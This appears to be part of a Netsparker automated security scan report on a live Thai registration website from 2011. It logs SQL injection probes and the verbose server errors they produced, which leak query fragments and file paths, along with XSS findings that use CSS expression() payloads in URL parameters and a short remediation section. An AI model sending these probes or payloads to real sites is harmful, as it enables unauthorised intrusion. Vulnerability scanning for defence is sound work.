<span><H1>Server Error in '/' Application.<hr width=100% size=1 color=silver></H1>

<h2> <i>Syntax error converting the varchar value '_!@2dilemma' to a column of data type int.</i> </h2></span>

<font face="Arial, Helvetica, Geneva, SunSans-Regular, sans-serif ">

<b> Description: </b>An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.

<br><br>

<b> Exception Details: </b>System.Data.SqlClient.SqlException: Syntax error converting the varchar value '_!@2dilemma' to a column of data type int.<br><br>

<b>Source Error:</b> <br><br>

<table width=100% bgcolor="#ffffcc">
<tr>
<td>
<code>

An unhandled exception was generated during the execution of the current web request. Information regarding the origin and location of the exception can be identified using the exception stack trace below.</code>

</td>
</tr>
</table>

<br>

<b>Stack Trace:</b> <br><br>

<table width=100% bgcolor="#ffffcc">
<tr>
<td>
<code><pre>

[SqlException: Syntax error converting the varchar value '_!@2dilemma' to a column of data type int.]
System.Data.SqlClient.SqlDataReader.Read() +157
System.Data.Common.DbDataAdapter.FillLoadDataRow(SchemaMapping mapping) +175
System.Data.Common.DbDataAdapter.FillFromReader(Object data, String srcTable, IDataReader dataReader, Int32 startRecord, Int32 maxRecords, DataColumn parentChapterColumn, Object parentChapterValue) +260
System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, String srcTable, IDataReader dataReader, Int32 startRecord, Int32 maxRecords) +129
System.Data.Common.DbDataAdapter.FillFromCommand(Object data, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior) +304
System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior) +77
System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, String srcTable) +36
linkCC.detail.Page_Load(Object sender, EventArgs e) in C:\Registration\SemReg\detail.aspx.vb:129
System.Web.UI.Control.OnLoad(EventArgs e) +67
System.Web.UI.Control.LoadRecursive() +35
System.Web.UI.Page.ProcessRequestMain() +731
</pre></code>

</td>
</tr>
</table>

<br>

<hr width=100% size=1 color=silver>

<b>Version Information:</b>&nbsp;Microsoft .NET Framework Version:1.1.4322.573; ASP.NET Version:1.1.4322.573

</font>

</body>
</html>
<!--
[SqlException]: Syntax error converting the varchar value '_!@2dilemma' to a column of data type int.
at System.Data.SqlClient.SqlDataReader.Read()
at System.Data.Common.DbDataAdapter.FillLoadDataRow(SchemaMapping mapping)
at System.Data.Common.DbDataAdapter.FillFromReader(Object data, String srcTable, IDataReader dataReader, Int32 startRecord, Int32 maxRecords, DataColumn parentChapterColumn, Object parentChapterValue)
at System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, String srcTable, IDataReader dataReader, Int32 startRecord, Int32 maxRecords)
at System.Data.Common.DbDataAdapter.FillFromCommand(Object data, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior)
at System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior)
at System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, String srcTable)
at linkCC.detail.Page_Load(Object sender, EventArgs e) in C:\Registration\SemReg\detail.aspx.vb:line 129
at System.Web.UI.Control.OnLoad(EventArgs e)
at System.Web.UI.Control.LoadRecursive()
at System.Web.UI.Page.ProcessRequestMain()
[HttpUnhandledException]: Exception of type System.Web.HttpUnhandledException was thrown.
at System.Web.UI.Page.HandleError(Exception e)
at System.Web.UI.Page.ProcessRequestMain()
at System.Web.UI.Page.ProcessRequest()
at System.Web.UI.Page.ProcessRequest(HttpContext context)
at System.Web.CallHandlerExecutionStep.System.Web.HttpApplication+IExecutionStep.Execute()
at System.Web.HttpApplication.ExecuteStep(IExecutionStep step, Boolean& completedSynchronously)
-->
- /semreg/detail.aspx

/semreg/detail.aspx

http://register2.set.or.th/semreg/detail.aspx?ow=FKH&cs=S0001&sn='%2BNSFTW%2B'

Parameters

Parameter Type Value
ow GET FKH
cs GET S0001
sn GET '+NSFTW+'

Request

GET /semreg/detail.aspx?ow=FKH&cs=S0001&sn='%2BNSFTW%2B' HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: register2.set.or.th
Cookie: ASP.NET_SessionId=3lwhfajpd42thyimsoezhcuk
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 500 Internal Server Error
Server: Microsoft-IIS/5.0
Date: Tue, 03 May 2011 13:59:54 GMT
X-Powered-By: ASP.NET
X-AspNet-Version: 1.1.4322
Cache-Control: private
Content-Type: text/html; charset=windows-874
Content-Length: 5016


<html>
<head>
<title>Invalid column name 'NSFTW'.</title>
<style>
body {font-family:"Verdana";font-weight:normal;font-size: .7em;color:black;}
p {font-family:"Verdana";font-weight:normal;color:black;margin-top: -5px}
b {font-family:"Verdana";font-weight:bold;color:black;margin-top: -5px}
H1 { font-family:"Verdana";font-weight:normal;font-size:18pt;color:red }
H2 { font-family:"Verdana";font-weight:normal;font-size:14pt;color:maroon }
pre {font-family:"Lucida Console";font-size: .9em}
.marker {font-weight: bold; color: black;text-decoration: none;}
.version {color: gray;}
.error {margin-bottom: 10px;}
.expandable { text-decoration:underline; font-weight:bold; color:navy; cursor:hand; }
</style>
</head>

<body bgcolor="white">

<span><H1>Server Error in '/' Application.<hr width=100% size=1 color=silver></H1>

<h2> <i>Invalid column name 'NSFTW'.</i> </h2></span>

<font face="Arial, Helvetica, Geneva, SunSans-Regular, sans-serif ">

<b> Description: </b>An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.

<br><br>

<b> Exception Details: </b>System.Data.SqlClient.SqlException: Invalid column name 'NSFTW'.<br><br>

<b>Source Error:</b> <br><br>

<table width=100% bgcolor="#ffffcc">
<tr>
<td>
<code>

An unhandled exception was generated during the execution of the current web request. Information regarding the origin and location of the exception can be identified using the exception stack trace below.</code>

</td>
</tr>
</table>

<br>

<b>Stack Trace:</b> <br><br>

<table width=100% bgcolor="#ffffcc">
<tr>
<td>
<code><pre>

[SqlException: Invalid column name 'NSFTW'.]
System.Data.SqlClient.SqlCommand.ExecuteReader(CommandBehavior cmdBehavior, RunBehavior runBehavior, Boolean returnStream) +723
System.Data.SqlClient.SqlCommand.ExecuteReader(CommandBehavior behavior) +45
System.Data.SqlClient.SqlCommand.System.Data.IDbCommand.ExecuteReader(CommandBehavior behavior) +5
System.Data.Common.DbDataAdapter.FillFromCommand(Object data, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior) +304
System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior) +77
System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, String srcTable) +36
linkCC.detail.Page_Load(Object sender, EventArgs e) in C:\Registration\SemReg\detail.aspx.vb:129
System.Web.UI.Control.OnLoad(EventArgs e) +67
System.Web.UI.Control.LoadRecursive() +35
System.Web.UI.Page.ProcessRequestMain() +731
</pre></code>

</td>
</tr>
</table>

<br>

<hr width=100% size=1 color=silver>

<b>Version Information:</b>&nbsp;Microsoft .NET Framework Version:1.1.4322.573; ASP.NET Version:1.1.4322.573

</font>

</body>
</html>
<!--
[SqlException]: Invalid column name 'NSFTW'.
at System.Data.SqlClient.SqlCommand.ExecuteReader(CommandBehavior cmdBehavior, RunBehavior runBehavior, Boolean returnStream)
at System.Data.SqlClient.SqlCommand.ExecuteReader(CommandBehavior behavior)
at System.Data.SqlClient.SqlCommand.System.Data.IDbCommand.ExecuteReader(CommandBehavior behavior)
at System.Data.Common.DbDataAdapter.FillFromCommand(Object data, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior)
at System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior)
at System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, String srcTable)
at linkCC.detail.Page_Load(Object sender, EventArgs e) in C:\Registration\SemReg\detail.aspx.vb:line 129
at System.Web.UI.Control.OnLoad(EventArgs e)
at System.Web.UI.Control.LoadRecursive()
at System.Web.UI.Page.ProcessRequestMain()
[HttpUnhandledException]: Exception of type System.Web.HttpUnhandledException was thrown.
at System.Web.UI.Page.HandleError(Exception e)
at System.Web.UI.Page.ProcessRequestMain()
at System.Web.UI.Page.ProcessRequest()
at System.Web.UI.Page.ProcessRequest(HttpContext context)
at System.Web.CallHandlerExecutionStep.System.Web.HttpApplication+IExecutionStep.Execute()
at System.Web.HttpApplication.ExecuteStep(IExecutionStep step, Boolean& completedSynchronously)
-->
- /semreg/enroll.aspx

/semreg/enroll.aspx

http://register2.set.or.th/semreg/enroll.aspx?ow=FKH&cs='+NSFTW+'&sn=0049

Parameters

Parameter Type Value
ow GET FKH
cs GET ' NSFTW '
sn GET 0049

Request

GET /semreg/enroll.aspx?ow=FKH&cs='+NSFTW+'&sn=0049 HTTP/1.1
Referer: http://register2.set.or.th/semreg/detail.aspx?ow=FKH&cs=S0001&sn=0049
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: register2.set.or.th
Cookie: ASP.NET_SessionId=3lwhfajpd42thyimsoezhcuk
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 500 Internal Server Error
Server: Microsoft-IIS/5.0
Date: Tue, 03 May 2011 14:01:35 GMT
X-Powered-By: ASP.NET
X-AspNet-Version: 1.1.4322
Cache-Control: private
Content-Type: text/html; charset=windows-874
Content-Length: 5068


<html>
<head>
<title>Line 1: Incorrect syntax near 'NSFTW'.</title>
<style>
body {font-family:"Verdana";font-weight:normal;font-size: .7em;color:black;}
p {font-family:"Verdana";font-weight:normal;color:black;margin-top: -5px}
b {font-family:"Verdana";font-weight:bold;color:black;margin-top: -5px}
H1 { font-family:"Verdana";font-weight:normal;font-size:18pt;color:red }
H2 { font-family:"Verdana";font-weight:normal;font-size:14pt;color:maroon }
pre {font-family:"Lucida Console";font-size: .9em}
.marker {font-weight: bold; color: black;text-decoration: none;}
.version {color: gray;}
.error {margin-bottom: 10px;}
.expandable { text-decoration:underline; font-weight:bold; color:navy; cursor:hand; }
</style>
</head>

<body bgcolor="white">

<span><H1>Server Error in '/' Application.<hr width=100% size=1 color=silver></H1>

<h2> <i>Line 1: Incorrect syntax near 'NSFTW'.</i> </h2></span>

<font face="Arial, Helvetica, Geneva, SunSans-Regular, sans-serif ">

<b> Description: </b>An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.

<br><br>

<b> Exception Details: </b>System.Data.SqlClient.SqlException: Line 1: Incorrect syntax near 'NSFTW'.<br><br>

<b>Source Error:</b> <br><br>

<table width=100% bgcolor="#ffffcc">
<tr>
<td>
<code>

An unhandled exception was generated during the execution of the current web request. Information regarding the origin and location of the exception can be identified using the exception stack trace below.</code>

</td>
</tr>
</table>

<br>

<b>Stack Trace:</b> <br><br>

<table width=100% bgcolor="#ffffcc">
<tr>
<td>
<code><pre>

[SqlException: Line 1: Incorrect syntax near 'NSFTW'.]
System.Data.SqlClient.SqlCommand.ExecuteReader(CommandBehavior cmdBehavior, RunBehavior runBehavior, Boolean returnStream) +723
System.Data.SqlClient.SqlCommand.ExecuteReader(CommandBehavior behavior) +45
System.Data.SqlClient.SqlCommand.System.Data.IDbCommand.ExecuteReader(CommandBehavior behavior) +5
System.Data.Common.DbDataAdapter.FillFromCommand(Object data, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior) +304
System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior) +77
System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, String srcTable) +36
linkCC.enroll3.Page_Load(Object sender, EventArgs e) in C:\Registration\SemReg\enroll.aspx.vb:215
System.Web.UI.Control.OnLoad(EventArgs e) +67
System.Web.UI.Control.LoadRecursive() +35
System.Web.UI.Page.ProcessRequestMain() +731
</pre></code>

</td>
</tr>
</table>

<br>

<hr width=100% size=1 color=silver>

<b>Version Information:</b>&nbsp;Microsoft .NET Framework Version:1.1.4322.573; ASP.NET Version:1.1.4322.573

</font>

</body>
</html>
<!--
[SqlException]: Line 1: Incorrect syntax near 'NSFTW'.
at System.Data.SqlClient.SqlCommand.ExecuteReader(CommandBehavior cmdBehavior, RunBehavior runBehavior, Boolean returnStream)
at System.Data.SqlClient.SqlCommand.ExecuteReader(CommandBehavior behavior)
at System.Data.SqlClient.SqlCommand.System.Data.IDbCommand.ExecuteReader(CommandBehavior behavior)
at System.Data.Common.DbDataAdapter.FillFromCommand(Object data, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior)
at System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior)
at System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, String srcTable)
at linkCC.enroll3.Page_Load(Object sender, EventArgs e) in C:\Registration\SemReg\enroll.aspx.vb:line 215
at System.Web.UI.Control.OnLoad(EventArgs e)
at System.Web.UI.Control.LoadRecursive()
at System.Web.UI.Page.ProcessRequestMain()
[HttpUnhandledException]: Exception of type System.Web.HttpUnhandledException was thrown.
at System.Web.UI.Page.HandleError(Exception e)
at System.Web.UI.Page.ProcessRequestMain()
at System.Web.UI.Page.ProcessRequest()
at System.Web.UI.Page.ProcessRequest(HttpContext context)
at System.Web.CallHandlerExecutionStep.System.Web.HttpApplication+IExecutionStep.Execute()
at System.Web.HttpApplication.ExecuteStep(IExecutionStep step, Boolean& completedSynchronously)
-->
- /semreg/enroll.aspx

/semreg/enroll.aspx

http://register2.set.or.th/semreg/enroll.aspx?ow=FKH&cs=S0001&sn=%27

Parameters

Parameter Type Value
ow GET FKH
cs GET S0001
sn GET '

Request

GET /semreg/enroll.aspx?ow=FKH&cs=S0001&sn=%27 HTTP/1.1
Referer: http://register2.set.or.th/semreg/detail.aspx?ow=FKH&cs=S0001&sn=0049
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: register2.set.or.th
Cookie: ASP.NET_SessionId=3lwhfajpd42thyimsoezhcuk
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 500 Internal Server Error
Server: Microsoft-IIS/5.0
Date: Tue, 03 May 2011 14:01:36 GMT
X-Powered-By: ASP.NET
X-AspNet-Version: 1.1.4322
Cache-Control: private
Content-Type: text/html; charset=windows-874
Content-Length: 5538


<html>
<head>
<title>Unclosed quotation mark before the character string '' AND GETDATE() &gt;= SN.SXT_D_REG_ST AND GETDATE()-1 &lt;= SN.SXT_D_REG_END '.</title>
<style>
body {font-family:"Verdana";font-weight:normal;font-size: .7em;color:black;}
p {font-family:"Verdana";font-weight:normal;color:black;margin-top: -5px}
b {font-family:"Verdana";font-weight:bold;color:black;margin-top: -5px}
H1 { font-family:"Verdana";font-weight:normal;font-size:18pt;color:red }
H2 { font-family:"Verdana";font-weight:normal;font-size:14pt;color:maroon }
pre {font-family:"Lucida Console";font-size: .9em}
.marker {font-weight: bold; color: black;text-decoration: none;}
.version {color: gray;}
.error {margin-bottom: 10px;}
.expandable { text-decoration:underline; font-weight:bold; color:navy; cursor:hand; }
</style>
</head>

<body bgcolor="white">

<span><H1>Server Error in '/' Application.<hr width=100% size=1 color=silver></H1>

<h2> <i>Unclosed quotation mark before the character string '' AND GETDATE() &gt;= SN.SXT_D_REG_ST AND GETDATE()-1 &lt;= SN.SXT_D_REG_END '.</i> </h2></span>

<font face="Arial, Helvetica, Geneva, SunSans-Regular, sans-serif ">

<b> Description: </b>An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.

<br><br>

<b> Exception Details: </b>System.Data.SqlClient.SqlException: Unclosed quotation mark before the character string '' AND GETDATE() &gt;= SN.SXT_D_REG_ST AND GETDATE()-1 &lt;= SN.SXT_D_REG_END '.<br><br>

<b>Source Error:</b> <br><br>

<table width=100% bgcolor="#ffffcc">
<tr>
<td>
<code>

An unhandled exception was generated during the execution of the current web request. Information regarding the origin and location of the exception can be identified using the exception stack trace below.</code>

</td>
</tr>
</table>

<br>

<b>Stack Trace:</b> <br><br>

<table width=100% bgcolor="#ffffcc">
<tr>
<td>
<code><pre>

[SqlException: Unclosed quotation mark before the character string '' AND GETDATE() &gt;= SN.SXT_D_REG_ST AND GETDATE()-1 &lt;= SN.SXT_D_REG_END '.]
System.Data.SqlClient.SqlCommand.ExecuteReader(CommandBehavior cmdBehavior, RunBehavior runBehavior, Boolean returnStream) +723
System.Data.SqlClient.SqlCommand.ExecuteReader(CommandBehavior behavior) +45
System.Data.SqlClient.SqlCommand.System.Data.IDbCommand.ExecuteReader(CommandBehavior behavior) +5
System.Data.Common.DbDataAdapter.FillFromCommand(Object data, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior) +304
System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior) +77
System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, String srcTable) +36
linkCC.enroll3.Page_Load(Object sender, EventArgs e) in C:\Registration\SemReg\enroll.aspx.vb:215
System.Web.UI.Control.OnLoad(EventArgs e) +67
System.Web.UI.Control.LoadRecursive() +35
System.Web.UI.Page.ProcessRequestMain() +731
</pre></code>

</td>
</tr>
</table>

<br>

<hr width=100% size=1 color=silver>

<b>Version Information:</b>&nbsp;Microsoft .NET Framework Version:1.1.4322.573; ASP.NET Version:1.1.4322.573

</font>

</body>
</html>
<!--
[SqlException]: Unclosed quotation mark before the character string '' AND GETDATE() &gt;= SN.SXT_D_REG_ST AND GETDATE()-1 &lt;= SN.SXT_D_REG_END '.
at System.Data.SqlClient.SqlCommand.ExecuteReader(CommandBehavior cmdBehavior, RunBehavior runBehavior, Boolean returnStream)
at System.Data.SqlClient.SqlCommand.ExecuteReader(CommandBehavior behavior)
at System.Data.SqlClient.SqlCommand.System.Data.IDbCommand.ExecuteReader(CommandBehavior behavior)
at System.Data.Common.DbDataAdapter.FillFromCommand(Object data, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior)
at System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior)
at System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, String srcTable)
at linkCC.enroll3.Page_Load(Object sender, EventArgs e) in C:\Registration\SemReg\enroll.aspx.vb:line 215
at System.Web.UI.Control.OnLoad(EventArgs e)
at System.Web.UI.Control.LoadRecursive()
at System.Web.UI.Page.ProcessRequestMain()
[HttpUnhandledException]: Exception of type System.Web.HttpUnhandledException was thrown.
at System.Web.UI.Page.HandleError(Exception e)
at System.Web.UI.Page.ProcessRequestMain()
at System.Web.UI.Page.ProcessRequest()
at System.Web.UI.Page.ProcessRequest(HttpContext context)
at System.Web.CallHandlerExecutionStep.System.Web.HttpApplication+IExecutionStep.Execute()
at System.Web.HttpApplication.ExecuteStep(IExecutionStep step, Boolean& completedSynchronously)
-->
[Possible] Cross-site Scripting

[Possible] Cross-site Scripting

3 TOTAL
MEDIUM
XSS (Cross-site Scripting) allows an attacker to execute a dynamic script (Javascript, VbScript) in the context of the application. This allows several different attack opportunities, mostly hijacking the current session of the user or changing the look of the page by changing the HTML on the fly to steal the user's credentials. This happens because the input entered by a user has been interpreted as HTML/Javascript/VbScript by the browser.

Netsparker believes that there is a XSS (Cross-site Scripting) in here it could not confirm it. We strongly recommend investigating the issue manually to ensure that it is an XSS (Cross-site Scripting) and needs to be addressed.

XSS targets the users of the application instead of the server. Although this is a limitation, since it allows attackers to hijack other users' session, an attacker might attack an administrator to gain full control over the application.

Impact

There are many different attacks that can be leveraged through the use of XSS, including:

Remedy

The issue occurs because the browser interprets the input as active HTML, Javascript or VbScript. To avoid this, all input and output from the application should be filtered / encoded. Output should be filtered / encoded according to the output format and location.

There are a number of pre-defined, well structured white-list libraries available for many different environments, good examples of these include, OWASP Reform and Microsoft Anti Cross-site Scripting libraries are good examples.

Remedy References

External References

- /semreg/detail.aspx

/semreg/detail.aspx

http://register2.set.or.th/semreg/detail.aspx?ow='%20stYle=x:expre/**/ssion(alert(9))%20ns='%20&cs=S..

Parameters

Parameter Type Value
ow GET ' stYle=x:expre/**/ssion(alert(9)) ns='
cs GET S0001
sn GET 0049
__VIEWSTATE POST dDwxMjU5OTQxMDQ4O3Q8O2w8aTwxPjs O2w8dDw7bDxpPDE O2k8Mzc Oz47bDx0PDtsPGk8MT47aTwyPjtpPDQ O2k8NT47PjtsPHQ8cDxsPHNyYzs O2w8Li4vaW1hZ2VzL3NldC1sb2dvLWluZGV4LmdpZjs Pjs7Pjt0PHA8bDxWaXNpYmxlOz47bDxvPGY Oz4 Ozs O3Q8cDxsPFZpc2libGU7PjtsPG88Zj47Pj47Oz47dDxwPGw8VmlzaWJsZTs O2w8bzxmPjs Pjs7Pjs Pjt0PHA8cDxsPEVuYWJsZWQ7PjtsPG88Zj47Pj47Pjs7Pjs Pjs Pjs XLz31E4HaiMvL6dN2jWWZ/vEA8E=
backBtn POST Back
registBtn POST Register

Notes

This page responses with HTTP redirect status therefore detected XSS vulnerability might not be exploitable in many conditions however it still indicates lack of correct filtering and should be addressed.

Request

POST /semreg/detail.aspx?ow='%20stYle=x:expre/**/ssion(netsparker(9))%20ns='%20&cs=S0001&sn=0049 HTTP/1.1
Referer: http://register2.set.or.th/semreg/detail.aspx?ow=FKH&cs=S0001&sn=0049
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: register2.set.or.th
Cookie: ASP.NET_SessionId=3lwhfajpd42thyimsoezhcuk
Content-Length: 446
Accept-Encoding: gzip, deflate

__VIEWSTATE=dDwxMjU5OTQxMDQ4O3Q8O2w8aTwxPjs%2bO2w8dDw7bDxpPDE%2bO2k8Mzc%2bOz47bDx0PDtsPGk8MT47aTwyPjtpPDQ%2bO2k8NT47PjtsPHQ8cDxsPHNyYzs%2bO2w8Li4vaW1hZ2VzL3NldC1sb2dvLWluZGV4LmdpZjs%2bPjs7Pjt0PHA8bDxWaXNpYmxlOz47bDxvPGY%2bOz4%2bOzs%2bO3Q8cDxsPFZpc2libGU7PjtsPG88Zj47Pj47Oz47dDxwPGw8VmlzaWJsZTs%2bO2w8bzxmPjs%2bPjs7Pjs%2bPjt0PHA8cDxsPEVuYWJsZWQ7PjtsPG88Zj47Pj47Pjs7Pjs%2bPjs%2bPjs%2bXLz31E4HaiMvL6dN2jWWZ%2fvEA8E%3d&backBtn=Back&registBtn=Register

Response

HTTP/1.1 302 Found
Server: Microsoft-IIS/5.0
Date: Tue, 03 May 2011 13:44:33 GMT
X-Powered-By: ASP.NET
X-AspNet-Version: 1.1.4322
Location: ./enroll.aspx?ow=' stYle=x:expre/**/ssion(netsparker(9)) ns=' &cs=S0001&sn=0049
Cache-Control: private
Content-Type: text/html; charset=windows-874
Content-Length: 204


<html><head><title>Object moved</title></head><body>
<h2>Object moved to <a href='./enroll.aspx?ow=' stYle=x:expre/**/ssion(netsparker(9)) ns=' &amp;cs=S0001&amp;sn=0049'>here</a>.</h2>
</body></html>
- /semreg/detail.aspx

/semreg/detail.aspx

http://register2.set.or.th/semreg/detail.aspx?ow=FKH&cs='%20stYle=x:expre/**/ssion(alert(9))%20ns='%..

Parameters

Parameter Type Value
ow GET FKH
cs GET ' stYle=x:expre/**/ssion(alert(9)) ns='
sn GET 0049
__VIEWSTATE POST dDwxMjU5OTQxMDQ4O3Q8O2w8aTwxPjs O2w8dDw7bDxpPDE O2k8Mzc Oz47bDx0PDtsPGk8MT47aTwyPjtpPDQ O2k8NT47PjtsPHQ8cDxsPHNyYzs O2w8Li4vaW1hZ2VzL3NldC1sb2dvLWluZGV4LmdpZjs Pjs7Pjt0PHA8bDxWaXNpYmxlOz47bDxvPGY Oz4 Ozs O3Q8cDxsPFZpc2libGU7PjtsPG88Zj47Pj47Oz47dDxwPGw8VmlzaWJsZTs O2w8bzxmPjs Pjs7Pjs Pjt0PHA8cDxsPEVuYWJsZWQ7PjtsPG88Zj47Pj47Pjs7Pjs Pjs Pjs XLz31E4HaiMvL6dN2jWWZ/vEA8E=
backBtn POST Back
registBtn POST Register

Notes

This page responses with HTTP redirect status therefore detected XSS vulnerability might not be exploitable in many conditions however it still indicates lack of correct filtering and should be addressed.

Request

POST /semreg/detail.aspx?ow=FKH&cs='%20stYle=x:expre/**/ssion(netsparker(9))%20ns='%20&sn=0049 HTTP/1.1
Referer: http://register2.set.or.th/semreg/detail.aspx?ow=FKH&cs=S0001&sn=0049
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: register2.set.or.th
Cookie: ASP.NET_SessionId=3lwhfajpd42thyimsoezhcuk
Content-Length: 446
Accept-Encoding: gzip, deflate

__VIEWSTATE=dDwxMjU5OTQxMDQ4O3Q8O2w8aTwxPjs%2bO2w8dDw7bDxpPDE%2bO2k8Mzc%2bOz47bDx0PDtsPGk8MT47aTwyPjtpPDQ%2bO2k8NT47PjtsPHQ8cDxsPHNyYzs%2bO2w8Li4vaW1hZ2VzL3NldC1sb2dvLWluZGV4LmdpZjs%2bPjs7Pjt0PHA8bDxWaXNpYmxlOz47bDxvPGY%2bOz4%2bOzs%2bO3Q8cDxsPFZpc2libGU7PjtsPG88Zj47Pj47Oz47dDxwPGw8VmlzaWJsZTs%2bO2w8bzxmPjs%2bPjs7Pjs%2bPjt0PHA8cDxsPEVuYWJsZWQ7PjtsPG88Zj47Pj47Pjs7Pjs%2bPjs%2bPjs%2bXLz31E4HaiMvL6dN2jWWZ%2fvEA8E%3d&backBtn=Back&registBtn=Register

Response

HTTP/1.1 302 Found
Server: Microsoft-IIS/5.0
Date: Tue, 03 May 2011 14:05:17 GMT
X-Powered-By: ASP.NET
X-AspNet-Version: 1.1.4322
Location: ./enroll.aspx?ow=FKH&cs=' stYle=x:expre/**/ssion(netsparker(9)) ns=' &sn=0049
Cache-Control: private
Content-Type: text/html; charset=windows-874
Content-Length: 202


<html><head><title>Object moved</title></head><body>
<h2>Object moved to <a href='./enroll.aspx?ow=FKH&amp;cs=' stYle=x:expre/**/ssion(netsparker(9)) ns=' &amp;sn=0049'>here</a>.</h2>
</body></html>
- /semreg/detail.aspx

/semreg/detail.aspx

http://register2.set.or.th/semreg/detail.aspx?ow=FKH&cs=S0001&sn='%20stYle='x:expre/**/ssion(alert(9))

Parameters

Parameter Type Value
ow GET FKH
cs GET S0001
sn GET ' stYle='x:expre/**/ssion(alert(9))
__VIEWSTATE POST dDwxMjU5OTQxMDQ4O3Q8O2w8aTwxPjs O2w8dDw7bDxpPDE O2k8Mzc Oz47bDx0PDtsPGk8MT47aTwyPjtpPDQ O2k8NT47PjtsPHQ8cDxsPHNyYzs O2w8Li4vaW1hZ2VzL3NldC1sb2dvLWluZGV4LmdpZjs Pjs7Pjt0PHA8bDxWaXNpYmxlOz47bDxvPGY Oz4 Ozs O3Q8cDxsPFZpc2libGU7PjtsPG88Zj47Pj47Oz47dDxwPGw8VmlzaWJsZTs O2w8bzxmPjs Pjs7Pjs Pjt0PHA8cDxsPEVuYWJsZWQ7PjtsPG88Zj47Pj47Pjs7Pjs Pjs Pjs XLz31E4HaiMvL6dN2jWWZ/vEA8E=
backBtn POST Back
registBtn POST Register

Notes

This page responses with HTTP redirect status therefore detected XSS vulnerability might not be exploitable in many conditions however it still indicates lack of correct filtering and should be addressed.

Request

POST /semreg/detail.aspx?ow=FKH&cs=S0001&sn='%20stYle='x:expre/**/ssion(netsparker(9)) HTTP/1.1
Referer: http://register2.set.or.th/semreg/detail.aspx?ow=FKH&cs=S0001&sn=0049
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: register2.set.or.th
Cookie: ASP.NET_SessionId=3lwhfajpd42thyimsoezhcuk
Content-Length: 446
Accept-Encoding: gzip, deflate

__VIEWSTATE=dDwxMjU5OTQxMDQ4O3Q8O2w8aTwxPjs%2bO2w8dDw7bDxpPDE%2bO2k8Mzc%2bOz47bDx0PDtsPGk8MT47aTwyPjtpPDQ%2bO2k8NT47PjtsPHQ8cDxsPHNyYzs%2bO2w8Li4vaW1hZ2VzL3NldC1sb2dvLWluZGV4LmdpZjs%2bPjs7Pjt0PHA8bDxWaXNpYmxlOz47bDxvPGY%2bOz4%2bOzs%2bO3Q8cDxsPFZpc2libGU7PjtsPG88Zj47Pj47Oz47dDxwPGw8VmlzaWJsZTs%2bO2w8bzxmPjs%2bPjs7Pjs%2bPjt0PHA8cDxsPEVuYWJsZWQ7PjtsPG88Zj47Pj47Pjs7Pjs%2bPjs%2bPjs%2bXLz31E4HaiMvL6dN2jWWZ%2fvEA8E%3d&backBtn=Back&registBtn=Register

Response

HTTP/1.1 302 Found
Server: Microsoft-IIS/5.0
Date: Tue, 03 May 2011 14:05:43 GMT
X-Powered-By: ASP.NET
X-AspNet-Version: 1.1.4322
